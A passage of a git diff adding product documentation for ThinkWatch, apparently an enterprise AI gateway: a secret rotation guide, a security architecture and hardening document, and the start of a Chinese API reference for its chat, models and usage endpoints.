A content filter can refuse prompt injection or delete hidden characters from what the caller sends; every guard ships in observe mode, which only records. +- **Identity from the organization's directory.** Sign-in works through any OIDC provider, with optional TOTP. Five built-in roles and custom roles decide who may use which models, tools and admin pages. +- **One key for AI and MCP.** `tw-` virtual keys can be scoped to the AI gateway, the MCP gateway or both. Keys are stored only as hashes and rotate with a grace period. +- **Rate limits and budgets.** Sliding windows from one minute to one week limit requests or tokens, and daily, weekly or monthly budgets cap spending. Both attach to users, API keys or roles. +- **Cost accounting that finance can use.** Spend is reported by model, user, provider and cost center, with CSV chargeback reports. A month-end forecast comes with it. +- **Audit trail in ClickHouse.** Every model request and tool call is recorded with user, parameters, response, latency and errors. Events can be forwarded to a SIEM over Syslog, Kafka or signed webhooks. +- **One endpoint for every client.** OpenAI Chat Completions, OpenAI Responses, Anthropic Messages and Gemini requests are served on one port and converted to whatever the upstream speaks. Routing spreads traffic by weight, latency or health, and a circuit breaker takes failing upstreams out of rotation. + +## Reading order + +1. [Architecture](/docs/architecture): the dual-port model, the request lifecycle and the data flow. +2. [Deployment Guide](/docs/deployment-guide): Docker Compose, the Helm chart, TLS and production hardening. +3. [Configuration](/docs/configuration): environment variables and system settings. +4. [Security](/docs/security): authentication, encryption, RBAC and the hardening checklist. + +ThinkWatch Enterprise is source-available under the Business Source License 1.1: free for non-production use, and free in production up to monthly thresholds. See [Pricing](/pricing). diff --git a/src/content/docs/en/secret-rotation.md b/src/content/docs/en/secret-rotation.md new file mode 100644 index 0000000..3e29ee7 --- /dev/null +++ b/src/content/docs/en/secret-rotation.md @@ -0,0 +1,161 @@ +# Secret Rotation Guide + +This document describes procedures for rotating the various secrets used by ThinkWatch. + +## JWT Secret Rotation + +The JWT secret (`JWT_SECRET`) is used to sign and verify access/refresh tokens. + +### Procedure + +1. **Generate a new secret** (at least 32 characters): + ```bash + openssl rand -hex 32 + ``` + +2. **Plan a maintenance window** — rotating the JWT secret invalidates all existing tokens immediately. + +3. **Update the environment variable** in your deployment (`.env.production`, Kubernetes Secret, etc.): + ``` + JWT_SECRET= + ``` + +4. **Restart all ThinkWatch server instances** simultaneously. + +5. **Users will need to re-login** — existing access and refresh tokens become invalid. + +### Impact +- All active sessions are terminated +- API consumers using JWT tokens must re-authenticate +- API keys (Bearer `tw-*`) are **not affected** (they use hash-based auth) + +--- + +## Encryption Key Rotation + +The encryption key (`ENCRYPTION_KEY`) is used to encrypt provider API keys and MCP server auth secrets stored in the database (AES-256-GCM). + +### Procedure + +1. **Generate a new 32-byte key** (64 hex characters): + ```bash + openssl rand -hex 32 + ``` + +2. **Re-encrypt all provider API keys and MCP secrets**: + ```sql + -- This must be done programmatically. + -- Export encrypted values, decrypt with old key, re-encrypt with new key, update DB. + ``` + + A migration script is recommended: + ```rust + let old_key = parse_encryption_key(&old_hex)?; + let new_key = parse_encryption_key(&new_hex)?; + + // For each provider + let decrypted = decrypt(&provider.api_key_encrypted, &old_key)?; + let re_encrypted = encrypt(&decrypted, &new_key)?; + // UPDATE providers SET api_key_encrypted = $1 WHERE id = $2 + ``` + +3. **Update the environment variable**: + ``` + ENCRYPTION_KEY= + ``` + +4. **Restart all instances**. + +### Impact +- If you forget to re-encrypt existing secrets, they become unreadable +- New provider/MCP secrets will use the new key +- Always test decryption with the new key before deploying + +--- + +## API Key Rotation + +API keys can be rotated without downtime using the built-in rotation API. + +### Via API + +```bash +# Rotate a key (old key stays active during grace period) +curl -X POST /api/keys/{key_id}/rotate \ + -H "Authorization: Bearer " \ + -H "X-Signature-Timestamp: ..." \ + -H "X-Signature-Nonce: ..." \ + -H "X-Signature: hmac-sha256:..." + +# Response includes the new plaintext key +{ + "id": "new-key-uuid", + "key": "tw-...", + "name": "My Key (rotated)", + "key_prefix": "tw-..." +} +``` + +### Via Web UI + +1. Navigate to **AI Gateway → API Keys** +2. Click the **Rotate** button on the key row +3. Confirm the rotation in the dialog +4. Copy the new key immediately (shown only once), or choose **Add to ThinkWatch Lite** to put it into the desktop app +5. Update your applications with the new key +6. The old key remains active for the configured grace period (default: 24 hours) + +### Auto-Rotation + +Configure automatic rotation in **Settings → API Key Policies**: +- **Rotation Period (days)**: Set to > 0 to enable auto-rotation +- **Grace Period (hours)**: How long the old key remains active after rotation + +--- + +## OIDC Client Secret Rotation + +The OIDC client secret is used to authenticate with your identity provider (e.g., Zitadel). + +### Procedure + +1. **Generate a new client secret** in your OIDC provider's admin console. + +2. **Update the environment variable**: + ``` + OIDC_CLIENT_SECRET= + ``` + +3. **Restart all ThinkWatch instances** — OIDC discovery runs at startup. + +### Impact +- SSO logins may fail briefly during the restart +- Existing JWT tokens remain valid until they expire +- Users with active sessions are not affected + +--- + +### Redis Signing Keys + +Signing keys are used for HMAC-SHA256 request signature verification on state-changing requests (POST, PUT, PATCH, DELETE). They are: + +- Auto-generated on login and token refresh (32 random bytes, hex-encoded) +- Stored in Redis with 24-hour TTL (matching refresh token lifetime) +- **Bound to client IP** — the IP address at login is stored alongside the key; requests from a different IP are rejected +- Delivered to the client via httpOnly cookie (`signing_key`) + +**Rotation:** Signing keys auto-rotate on every login and token refresh. To force rotation for a specific user, use "Force Logout" in the admin panel, which invalidates all their sessions and signing keys. + +No manual rotation is needed. + +--- + +## Best Practices + +1. **Schedule rotations during low-traffic periods** when possible +2. **Test in staging** before rotating production secrets +3. **Document the rotation** in your operations log +4. **Monitor for errors** after rotation — check `/api/health` and application logs +5. **Use different secrets per environment** (dev, staging, production) +6. **Store secrets in a vault** (HashiCorp Vault, AWS Secrets Manager, etc.) rather than plain files +7. **Log forwarder credentials** — if using Kafka, HTTP webhook, or Syslog with authentication, rotate those credentials via Admin > Log Forwarding and test connectivity after rotation diff --git a/src/content/docs/en/security.md b/src/content/docs/en/security.md new file mode 100644 index 0000000..510869e --- /dev/null +++ b/src/content/docs/en/security.md @@ -0,0 +1,421 @@ +# ThinkWatch Security Documentation + +This document describes the security architecture, mechanisms, and hardening practices for ThinkWatch. + +--- + +## 1. Authentication + +ThinkWatch supports three authentication mechanisms. The gateway accepts any of them; the console management API requires JWT. + +### 1.1 JWT Tokens + +ThinkWatch issues two JWT tokens upon successful authentication: + +| Token | Default Lifetime | Purpose | +| -------------- | ---------------- | -------------------------------------------- | +| Access token | 900s (15 min) | Short-lived credential for API authorization | +| Refresh token | 604800s (7 days) | Used to obtain new access/refresh token pair | + +Both TTL values are configurable via the admin Web UI (`jwt_access_ttl_seconds` and `jwt_refresh_ttl_seconds` settings) without requiring a server restart. + +**Signing algorithm:** HS256 with a shared secret (`JWT_SECRET` environment variable). A migration to RS256 with asymmetric key pairs is planned for a future release. + +**Secret requirements:** +- `JWT_SECRET` must be at least 32 characters long. +- At startup, ThinkWatch performs an entropy check and rejects secrets that are trivially weak (e.g., all identical characters, common patterns). +- Generate a strong secret with: `openssl rand -hex 32` + +**Clock skew tolerance:** A 30-second leeway is applied when validating token expiration (`exp`) and not-before (`nbf`) claims, accommodating minor clock differences between distributed services. + +**Token claims:** + +```json +{ + "sub": "user-uuid", + "email": "user@example.com", + "role": "admin", + "exp": 1711930500, + "iat": 1711929600, + "iss": "thinkwatch" +} +``` + +**Refresh flow:** The client sends the refresh token to `POST /api/auth/refresh`. The server validates the token, issues a new access/refresh pair, and invalidates the old refresh token. Refresh token reuse is detected and causes all tokens for the user to be invalidated (rotation with replay detection). + +### 1.2 API Keys + +API keys provide long-lived authentication for programmatic access to the gateway. + +| Property | Detail | +| --------------- | ------------------------------------------------ | +| Format | Prefixed with `tw-` (e.g. `tw-sk-a1b2c3d4...`) | +| Storage | SHA-256 hash stored in PostgreSQL | +| Validation | Middleware hashes the incoming key and looks it up (filters `deleted_at IS NULL`) | +| Scoping | Optional `allowed_models` restriction | +| Rate limiting | Optional per-key RPM limit, enforced via Redis | +| Expiration | Optional TTL set at creation time | + +The raw key value is returned exactly once at creation time. It cannot be retrieved afterward because only the hash is stored. + +**Lifecycle management:** + +API keys now support a full lifecycle with the following capabilities: + +- **Rotation:** Keys can be rotated via `POST /api/keys/{id}/rotate`. A new key is generated and returned; the old key enters a configurable grace period during which both old and new keys are accepted. The `grace_period_ends_at` timestamp indicates when the old key will stop working. +- **Grace period:** After rotation, the API key auth middleware accepts both the old and new key hashes until `grace_period_ends_at` expires, allowing clients to transition without downtime. +- **Inactivity timeout:** Keys can be configured with an `inactivity_timeout_days` value. If a key is not used within that period, it is automatically disabled by the background lifecycle task. +- **Auto-disable:** Keys that exceed their inactivity timeout are soft-disabled (not deleted), allowing administrators to re-enable them if needed. +- **Expiry monitoring:** Use `GET /api/keys/expiring?days=N` to list keys approaching their expiration date. +- **Team validation:** API key creation validates team membership -- users can only create keys within teams they belong to. + +### 1.3 OIDC / SSO + +ThinkWatch supports OpenID Connect for single sign-on with enterprise identity providers (Entra ID, Okta, Keycloak, Auth0, etc.). + +**Flow: Authorization Code** + +1. The user's browser is directed to `GET /api/auth/sso/authorize`. +2. The server generates a cryptographically random `state` and `nonce`, stores both in Redis with a 10-minute TTL, and redirects the browser to the OIDC provider's authorization endpoint. +3. After authentication, the IdP redirects back to `GET /api/auth/sso/callback?code=...&state=...`. +4. The server validates the `state` against Redis (CSRF protection), exchanges the authorization code for tokens, verifies the ID token signature and `nonce`, and provisions or updates the local user record. +5. ThinkWatch JWT tokens are returned to the client. + +**CSRF protection:** The `state` parameter is a one-time random value stored in Redis. It is consumed (deleted) on callback, preventing replay attacks. + +### 1.4 Dual Authentication on Gateway + +The gateway middleware attempts authentication in the following order: + +1. If the `Authorization` header contains a token starting with `tw-`, validate it as an API key. +2. Otherwise, validate it as a JWT Bearer token. + +This allows both programmatic clients (API keys) and browser-based/console users (JWT) to access the gateway seamlessly. + +### 1.5 Session IP Binding + +When a user logs in, the signing key is bound to their client IP address. On subsequent requests, the signature verification middleware checks that the request IP matches the IP stored at login time. If the IP differs, the request is rejected with 401 Unauthorized. + +This prevents stolen signing keys from being used across different networks. + +--- + +## 2. Authorization (RBAC) + +ThinkWatch implements role-based access control with five system roles. + +### 2.1 Role Hierarchy + +| Role | Description | +| --------- | ------------------------------------------------------------------ | +| `admin` | Full system access. Can manage providers, users, MCP servers, settings, and view audit logs. | +| `operator`| Can manage providers and MCP servers. Cannot manage users or system settings. | +| `user` | Standard user. Can create/manage own API keys, view analytics, and use the gateway. | +| `viewer` | Read-only access. Can view analytics and models but cannot create keys or modify anything. | +| `service` | Machine-to-machine identity. API key access to the gateway only; no console access. | + +### 2.2 Access Control Matrix + +| Resource | admin | operator | user | viewer | service | +| ----------------------- | ----- | -------- | ---- | ------ | ------- | +| Gateway (chat, models) | Yes | Yes | Yes | Yes | Yes | +| Gateway (MCP) | Yes | Yes | Yes | Yes | Yes | +| Own API keys (CRUD) | Yes | Yes | Yes | No | No | +| Analytics (read) | Yes | Yes | Yes | Yes | No | +| Providers (CRUD) | Yes | Yes | No | No | No | +| MCP servers (CRUD) | Yes | Yes | No | No | No | +| Users (CRUD) | Yes | No | No | No | No | +| Audit logs | Yes | No | No | No | No | +| System settings | Yes | No | No | No | No | + +### 2.3 Middleware Enforcement + +- **`require_auth`** — Extracts and validates JWT from the `Authorization` header. Rejects unauthenticated requests with 401. +- **`require_admin`** — Chains after `require_auth`. Checks that the JWT `role` claim is `admin`. Rejects non-admin users with 403. +- **API key middleware** — Gateway-specific. Validates the API key hash, checks expiration, enforces `allowed_models`, and applies rate limiting via Redis. + +### 2.4 MCP Tool-Level Access Control + +MCP tools can be restricted at the API key or user level. When an API key has `allowed_models` set, MCP tool invocations are also gated: the gateway checks that the calling identity has permission to invoke the specific tool before proxying the request to the upstream MCP server. + +--- + +## 3. Encryption + +### 3.1 Encryption at Rest + +**Provider API Keys** + +Provider API keys (credentials for upstream AI services like OpenAI, Anthropic, Google, Azure OpenAI, and AWS Bedrock) are encrypted before storage: + +- Algorithm: AES-256-GCM +- Nonce: 12 bytes, cryptographically random, generated per encryption operation +- Key: Derived from the `ENCRYPTION_KEY` environment variable (32-byte hex string) +- Storage format: `nonce || ciphertext || tag` (base64-encoded) + +**AWS Bedrock Credentials** + +AWS Bedrock credentials (stored in `ACCESS_KEY_ID:SECRET_ACCESS_KEY` format) are encrypted at rest using the same AES-256-GCM scheme. At request time, credentials are decrypted and used for AWS SigV4 request signing via the official `aws-sigv4` Rust crate. The signing process is performed in-memory and credentials are never written to disk in plaintext. + +**MCP Server Auth Secrets** + +Authentication credentials for upstream MCP servers use the same AES-256-GCM scheme as provider API keys. + +### 3.2 Password Hashing + +User passwords are hashed using Argon2id with the following parameters: + +| Parameter | Value | +| --------------- | ----------- | +| Algorithm | Argon2id | +| Memory cost | 19 MiB | +| Time cost | 2 iterations| +| Parallelism | 1 | +| Salt | 16 bytes, random | +| Output hash | 32 bytes | + +Argon2id is the recommended algorithm per OWASP guidelines, providing resistance against both GPU and side-channel attacks. + +### 3.3 Password Complexity + +All password-setting operations (registration, setup wizard, password change, admin user creation) enforce: +- Minimum 8 characters +- At least one uppercase letter (A-Z) +- At least one lowercase letter (a-z) +- At least one digit (0-9) + +### 3.4 API Key Hashing + +API keys are hashed with SHA-256 before storage. This is a one-way operation; the original key cannot be derived from the hash. The raw key is returned to the user exactly once at creation time. + +### 3.5 Encryption in Transit + +ThinkWatch itself does not terminate TLS. TLS termination should be handled by a reverse proxy (Nginx, Caddy, Traefik, cloud load balancer). See the hardening checklist in Section 6. + +--- + +## 4. Network Security + +### 4.1 Dual-Port Architecture + +ThinkWatch separates concerns across two ports: + +| Port | Server | Exposure | +| ---- | ------- | -------------------------------------- | +| 3000 | Gateway | Intended for application/client access | +| 3001 | Console | Intended for admin/internal access | + +This separation allows network-level isolation: the gateway port can be exposed to application traffic while the console port is restricted to a VPN or internal network. + +### 4.2 CORS + +Cross-Origin Resource Sharing is configured via the `CORS_ORIGINS` environment variable: + +- Accepts a comma-separated list of allowed origins. +- Credentials are allowed (`Access-Control-Allow-Credentials: true`). +- Only the specified origins are reflected in `Access-Control-Allow-Origin`. +- In development, `http://localhost:5173` (Vite dev server) is typically allowed. +- In production, restrict to your actual console domain. + +### 4.3 Security Headers + +The following headers are set on all responses: + +| Header | Value | Purpose | +| ------------------------- | ------------------ | ----------------------------------------- | +| `X-Content-Type-Options` | `nosniff` | Prevents MIME type sniffing | +| `X-Frame-Options` | `DENY` | Prevents clickjacking via iframes | + +**Content Security Policy (console port only):** + +The console port (3001) includes a `Content-Security-Policy` header to mitigate XSS and data injection attacks. The policy restricts script sources, style sources, and connection endpoints to known origins. + +### 4.4 Request Timeouts + +| Server | Timeout | Rationale | +| ------- | ------- | ------------------------------------------------ | +| Gateway | 120s | LLM completions (especially streaming) can be slow | +| Console | 30s | Management operations should complete quickly | + +### 4.5 Container Security + +Production Docker images use distroless base images: + +- No shell (`/bin/sh`, `/bin/bash`) +- No package manager +- No unnecessary system utilities +- Minimal attack surface: only the compiled Rust binary and its runtime dependencies + +--- + +## 5. Audit Trail + +### 5.1 What Is Logged + +Every security-relevant action generates an audit entry: + +| Category | Actions Logged | +| ---------------- | ---------------------------------------------------------- | +| Authentication | Login success, login failure, registration, token refresh | +| API Keys | Creation, revocation, usage (rate limit hits) | +| Providers | Create, update, delete | +| MCP Servers | Create, delete, tool discovery | +| Users | Create, role change, delete | +| Settings | Any configuration change | + +### 5.2 Audit Entry Schema + +Each audit log entry contains: + +```json +{ + "id": "uuid", + "timestamp": "2026-03-28T09:15:00.000Z", + "user_id": "uuid", + "user_email": "admin@example.com", + "action": "provider.create", + "resource_type": "provider", + "resource_id": "uuid", + "details": {}, + "ip_address": "10.0.1.50", + "user_agent": "Mozilla/5.0..." +} +``` + +### 5.3 ClickHouse Integration + +Audit entries are inserted into ClickHouse for SQL-based search and analytics: + +- Database: Configurable via `CLICKHOUSE_DB` (default: `think_watch`) +- Entries are sent asynchronously to avoid blocking request processing. +- The console provides a search UI at `/api/audit/logs` with support for time-range filtering and SQL queries. + +### 5.4 Log Forwarder / SIEM Integration + +For enterprise environments, ThinkWatch can forward audit logs to external systems via the admin Web UI (Admin > Log Forwarders): + +- **Supported transports:** UDP Syslog, TCP Syslog (RFC 5424), Kafka, HTTP Webhook +- **Configuration:** Managed dynamically through the database — no restart required +- **Format:** RFC 5424 structured data for syslog transports: + +``` +<14>1 2026-03-28T09:15:00.000Z thinkwatch - - - [thinkwatch@0 action="provider.create" user="admin@example.com" resource_type="provider" resource_id="uuid"] Provider created: openai-prod +``` + +This allows integration with SIEM platforms such as Splunk, Elastic SIEM, Microsoft Sentinel, and others. + +--- + +## 6. Startup Validation + +ThinkWatch validates all secrets and dependencies before starting the server. If any critical requirement is not met, the process exits with a clear error message rather than running in a degraded state. + +Validated at startup: +- `JWT_SECRET` is present, at least 32 characters, and passes an entropy check +- `ENCRYPTION_KEY` is present and a valid 64-character hex string +- PostgreSQL is reachable and responds to a test query +- Redis is reachable and responds to a PING +- OIDC variables are either all set or all absent (partial configuration is rejected) +- ClickHouse connectivity (if configured; logs a warning but does not block startup) + +--- + +## 7. Setup Endpoint Security + +The `POST /api/setup/initialize` endpoint allows creating the first admin user without authentication. To prevent abuse: + +- **Rate limiting:** The endpoint is limited to 5 requests per minute per IP address. +- **Double-check:** Before creating the admin user, the endpoint performs a database query to verify no admin user exists. This prevents race conditions where two concurrent requests could both create admin accounts. +- **Disabled after use:** Once the system is initialized, the endpoint returns `400 Bad Request` for all subsequent calls, regardless of rate limit status. + +--- + +## 8. Soft-Delete and Data Retention + +ThinkWatch uses soft-delete for critical resources: + +| Resource | Behavior | +| ------------ | --------------------------------------------------------------------------------- | +| Users | `deleted_at` is set; all sessions are revoked; the user cannot log in | +| Providers | `deleted_at` is set; the provider's models become unavailable for new requests | +| API Keys | `deleted_at` is set; the key is immediately rejected by the auth middleware | + +**Data retention policy:** +- Soft-deleted records are retained for a configurable period (default: 30 days, controlled by the `data_retention_days` setting). +- A background task periodically purges records older than the retention period. +- Account deletion via the API is always a soft-delete operation: the user's sessions are revoked, and `deleted_at` is marked. The record is permanently removed only after the retention period expires. + +--- + +## 9. Hardening Checklist + +Use this checklist when preparing ThinkWatch for production deployment. + +### Secrets and Cryptography + +- [ ] Set `JWT_SECRET` to a cryptographically random value (minimum 32 characters, recommended 64 hex characters / 256 bits): + ```bash + openssl rand -hex 32 + ``` +- [ ] Set `ENCRYPTION_KEY` to a random 32-byte hex string: + ```bash + openssl rand -hex 32 + ``` +- [ ] Rotate `JWT_SECRET` periodically (note: rotation invalidates all active tokens) +- [ ] Store all secrets in a proper secrets manager (Vault, AWS Secrets Manager, K8s Secrets) rather than plaintext `.env` files +- [ ] Verify startup validation passes without warnings (check logs for entropy check results) + +### Network + +- [ ] Set `CORS_ORIGINS` to your actual console domain (e.g. `https://console.example.com`) +- [ ] Deploy the console (port 3001) behind a VPN or corporate firewall; do not expose it to the public internet +- [ ] Enable TLS termination on the reverse proxy (Nginx, Caddy, Traefik, or cloud LB) +- [ ] Configure HSTS headers on the reverse proxy +- [ ] Restrict gateway (port 3000) access to known CIDR ranges if possible + +### Authentication + +- [ ] Configure OIDC for SSO with your corporate identity provider +- [ ] Disable password-based registration in production (use admin-provisioned accounts or SSO) +- [ ] Enforce strong password policies if password auth is enabled +- [ ] Set up rate limiting on login endpoints to mitigate brute-force attacks + +### Database and Infrastructure + +- [ ] Configure PostgreSQL to require TLS (`sslmode=require` in `DATABASE_URL`) +- [ ] Enable Redis authentication (`requirepass` directive) +- [ ] Use Redis TLS if available (`rediss://` scheme) +- [ ] Restrict PostgreSQL access to only the ThinkWatch service account +- [ ] Run database migrations only from a privileged CI/CD pipeline, not from the application at runtime + +### API Key Lifecycle + +- [ ] Set appropriate `inactivity_timeout_days` on API keys to auto-disable unused keys +- [ ] Establish a key rotation schedule and use `POST /api/keys/{id}/rotate` for zero-downtime rotation +- [ ] Periodically review expiring keys via `GET /api/keys/expiring?days=30` +- [ ] Configure `data_retention_days` to comply with your data retention policy + +### Audit and Monitoring + +- [ ] Set up log rotation for application logs +- [ ] Verify ClickHouse audit tables are being populated +- [ ] Configure log forwarders to your SIEM via Admin > Log Forwarders if applicable +- [ ] Set up alerts for `auth.login_failed` spikes (potential brute-force) +- [ ] Monitor the `/api/health`, `/health/live`, and `/health/ready` endpoints with your infrastructure monitoring system +- [ ] Configure Prometheus scraping of the `/metrics` endpoint (gateway port 3000) +- [ ] Set up alerts for API key inactivity and expiration events + +### Container and Runtime + +- [ ] Use the distroless production image (no shell, no package manager) +- [ ] Run the container as a non-root user +- [ ] Set read-only filesystem where possible +- [ ] Apply resource limits (CPU, memory) to prevent runaway processes +- [ ] Scan container images for CVEs in CI/CD + +### RBAC + +- [ ] Review all user roles and ensure least-privilege assignment +- [ ] Audit admin accounts regularly +- [ ] Use `service` role for machine-to-machine integrations +- [ ] Restrict `allowed_models` on API keys to only the models each consumer needs diff --git a/src/content/docs/zh-CN/api-reference.md b/src/content/docs/zh-CN/api-reference.md new file mode 100644 index 0000000..1368980 --- /dev/null +++ b/src/content/docs/zh-CN/api-reference.md @@ -0,0 +1,2441 @@ +# ThinkWatch API 参考 + +本文档提供 ThinkWatch 所有 HTTP 端点的完整参考。平台运行两个服务器: + +| 服务器 | 默认端口 | 用途 | +| ------- | -------- | ------------------------------ | +| Gateway | 3000 | AI 模型代理、MCP 传输 | +| Console | 3001 | 管理 UI 和管理员 API | + +--- + +## 认证方案 + +| 方案 | 请求头 | 使用者 | +| -------- | ------------------------------- | ------------------ | +| API Key | `Authorization: Bearer tw-...` | Gateway 和 Console | +| JWT | `Authorization: Bearer ` | Console 和 Gateway | +| 公开 | _(无)_ | 健康检查端点 | + +网关接受 API 密钥**或** JWT。控制台管理端点需要 JWT,除非另有说明。管理员端点还额外要求 `admin` 角色。 + +--- + +## Gateway 端点(端口 3000) + +网关在单一端口上提供三种 API 格式,客户端可以使用任意偏好的格式: + +| 端点 | 格式 | 典型客户端 | +| --------------------------- | ----------------------- | -------------------------------------------- | +| `POST /v1/chat/completions` | OpenAI Chat Completions | Cursor、Continue、Cline、OpenAI SDK | +| `POST /v1/messages` | Anthropic Messages API | Claude Code、Anthropic SDK | +| `POST /v1/responses` | OpenAI Responses API | OpenAI SDK(2025 格式) | +| `GET /v1/models` | OpenAI Models | 所有客户端 | +| `GET /v1/usage` | 调用方密钥的用量与限额 | 持有网关 API 密钥的任何客户端 | + +三个端点使用相同的认证方式(API Key 或 JWT),经过相同的模型路由器和速率限制器,并生成相同的用量记录和审计日志。 + +### 限流与预算 + +请求发往上游之前,按此前的用量检查其 API 密钥与密钥所属用户的限流和预算;token 在响应之后计入,由响应缓存应答的请求同样计入。所属用户的限额来自其角色(全局分配的角色,以及用户所在团队挂载的角色),按最严格的合并,再应用用户自己的覆盖。超出限额的请求返回 `429`,`Retry-After` 给出限额释放前的秒数,错误消息注明是哪一项限额,例如 `Rate limited: user:requests/1m`。被这些限额拒绝的请求,以及密钥无权使用所请求模型的请求,不计入任何限额。 + +**路由上限。**模型路由可以设置「RPM 上限」和「TPM 上限」(在路由编辑器中设置),都按一分钟的滑动窗口计数,TPM 上限与其他 token 限额一样按加权 token 计。达到任一上限的路由会被跳过,由该模型的下一条路由处理请求;剩余路由全部达到上限时,请求返回 `429` 和 `Retry-After`,标签为 `route:requests/1m` 或 `route:tokens/1m`。这样的请求已经通过调用方自己的限额,并计入其中。 + +**无法检查限额时。**Redis 无法访问,或加载请求的限额时数据库出错,由 `security.rate_limit_fail_closed` 决定:关闭(默认)时请求照常进行,不受这些限额约束,并记录一条警告;打开时拒绝请求,返回 `429` 和 `Retry-After: 30`,标签为 `rate_limiter_unavailable`、`budget_unavailable` 或 `limits_unavailable`。路由上限同样遵循这一设置。见[无法检查限额时](/zh-CN/docs/configuration#无法检查限额时)。 + +[`GET /v1/usage`](#get-v1usage) 告诉客户端它的密钥已用多少、限额还剩多少。 + +### POST /v1/chat/completions + +OpenAI 兼容的聊天补全端点。将请求代理到已配置的上游提供商。 + +**认证:** API Key 或 JWT + +#### 请求体 + +```json +{ + "model": "string", + "messages": [ + { + "role": "system" | "user" | "assistant", + "content": "string" + } + ], + "temperature": 0.7, + "top_p": 1.0, + "max_tokens": 4096, + "stream": false, + "stop": ["string"], + "presence_penalty": 0.0, + "frequency_penalty": 0.0 +} +``` + +| 字段 | 类型 | 必填 | 默认值 | 描述 | +| ------------------- | --------------- | -------- | ------- | ---------------------------------------- | +| `model` | string | 是 | — | 模型标识符(如 `gpt-4o`) | +| `messages` | array\ | 是 | — | 对话历史 | +| `messages[].role` | string | 是 | — | `system`、`user`、`assistant` 之一 | +| `messages[].content`| string | 是 | — | 消息文本 | +| `temperature` | number | 否 | 0.7 | 采样温度(0.0 - 2.0) | +| `top_p` | number | 否 | 1.0 | 核采样 | +| `max_tokens` | integer | 否 | — | 最大生成 Token 数 | +| `stream` | boolean | 否 | false | 启用 Server-Sent Events 流式传输 | +| `stop` | array\ | 否 | — | 停止序列 | +| `presence_penalty` | number | 否 | 0.0 | 存在惩罚(-2.0 - 2.0) | +| `frequency_penalty` | number | 否 | 0.0 | 频率惩罚(-2.0 - 2.0) | + +#### 响应体(非流式) + +```json +{ + "id": "chatcmpl-abc123", + "object": "chat.completion", + "created": 1711929600, + "model": "gpt-4o", + "choices": [ + { + "index": 0, + "message": { + "role": "assistant", + "content": "Hello! How can I help you?" + }, + "finish_reason": "stop" + } + ], + "usage": { + "prompt_tokens": 12, + "completion_tokens": 8, + "total_tokens": 20 + } +} +``` + +#### 响应体(流式,`stream: true`) + +响应为 `text/event-stream` SSE 事件流: + +``` +data: {"id":"chatcmpl-abc123","object":"chat.completion.chunk","created":1711929600,"model":"gpt-4o","choices":[{"index":0,"delta":{"role":"assistant","content":"Hello"},"finish_reason":null}]} + +data: {"id":"chatcmpl-abc123","object":"chat.completion.chunk","created":1711929600,"model":"gpt-4o","choices":[{"index":0,"delta":{"content":"!"},"finish_reason":null}]} + +data: [DONE] +``` + +#### 示例 + +```bash +# Non-streaming +curl -X POST http://localhost:3000/v1/chat/completions \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -d '{ + "model": "gpt-4o", + "messages": [{"role": "user", "content": "Hello"}] + }' + +# Streaming +curl -X POST http://localhost:3000/v1/chat/completions \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -N \ + -d '{ + "model": "gpt-4o", + "messages": [{"role": "user", "content": "Hello"}], + "stream": true + }' +``` + +#### 错误响应 + +| 状态码 | 响应体 | 条件 | +| ------ | -------------------------------------------------------------------- | -------------------------------- | +| 401 | `{"error": {"message": "Missing or invalid API key", "type": "authentication_error"}}` | 缺失/无效凭证 | +| 403 | `{"error": {"message": "Model not allowed", "type": "permission_error"}}` | API 密钥不允许访问此模型 | +| 404 | `{"error": {"message": "Model not found", "type": "not_found_error"}}` | 该模型未配置提供商 | +| 429 | `{"error": {"message": "Rate limit exceeded", "type": "rate_limit_error"}}` | 该密钥已达 RPM 限制 | +| 502 | `{"error": {"message": "Upstream provider error", "type": "upstream_error"}}` | 提供商返回错误 | + +--- + +### GET /v1/models + +列出通过网关可用的模型。使用 API 密钥调用时,只列出该密钥可以使用的模型。 + +**认证:** API Key 或 JWT + +#### 请求 + +无请求体。无查询参数。 + +#### 响应体 + +```json +{ + "object": "list", + "data": [ + { + "id": "gpt-4o", + "object": "model", + "created": 1711929600, + "owned_by": "openai" + }, + { + "id": "claude-sonnet-4-20250514", + "object": "model", + "created": 1711929600, + "owned_by": "anthropic" + } + ] +} +``` + +#### 示例 + +```bash +curl http://localhost:3000/v1/models \ + -H "Authorization: Bearer tw-your-api-key" +``` + +#### 错误响应 + +| 状态码 | 条件 | +| ------ | -------------------- | +| 401 | 无效凭证 | + +--- + +### GET /v1/usage + +查询调用方 API 密钥在 AI 网关上已用多少、限额还剩多少。客户端可以据此向用户显示剩余额度,或在限额拒绝请求之前放慢速度。 + +**认证:** 可访问 AI 网关的 API Key,与模型请求相同 + +调用它不计入任何限额,不写请求日志,也不算作一次使用密钥:`last_used_at` 保持不变,因此轮询不会让闲置的密钥免于不活跃超时。 + +#### 请求 + +无请求体。无查询参数。 + +#### 响应体 + +```json +{ + "scope": "key", + "usage": { + "requests_today": 12, + "tokens_today": 48210, + "requests_month": 340, + "tokens_month": 1290455, + "cost_usd_month": 3.82 + }, + "limits": [ + { + "scope": "key", + "kind": "tokens", + "window": "daily", + "window_secs": null, + "limit": 100000, + "used": 48210, + "resets_at": "2026-10-12T00:00:00Z" + }, + { + "scope": "key", + "kind": "requests", + "window": "1m", + "window_secs": 60, + "limit": 60, + "used": 4, + "resets_at": null + } + ], + "expires_at": "2026-12-31T00:00:00Z" +} +``` + +回答针对两种对象之一,由 `scope` 指明: + +- `"key"`:密钥在 AI 网关上设有自己的限额。`limits` 只列出密钥自己的限额,`used` 按这把密钥计数;`usage` 是密钥自己的用量,跨轮换累计。 +- `"user"`:密钥没有自己的限额。`limits` 列出其所属用户的有效限额(各角色的限额,包括团队授予的角色,按最严格的合并,再应用用户自己的覆盖),`used` 按该用户的全部用量计数;`usage` 是该用户所有密钥的合计。用户也没有限额时,`limits` 为空。 + +因此,持有一把没有自己限额的密钥,就能看到其所属用户的合计用量与限额;交给他人使用的密钥应设置自己的限额。 + +| 字段 | 类型 | 描述 | +| ----------------------------------------------- | -------------- | --------------------------------------------------------------------------- | +| `scope` | string | `key` 或 `user`,见上文 | +| `usage.requests_today`、`usage.requests_month` | integer | UTC 当天与当月通过限流的请求数,包括由响应缓存应答的请求 | +| `usage.tokens_today`、`usage.tokens_month` | integer | UTC 当天与当月的加权 token,计法与限额相同 | +| `usage.cost_usd_month` | number \| null | 本月费用,取自请求日志;未配置 ClickHouse 时为 `null` | +| `limits[].scope` | string | 限额属于谁,与 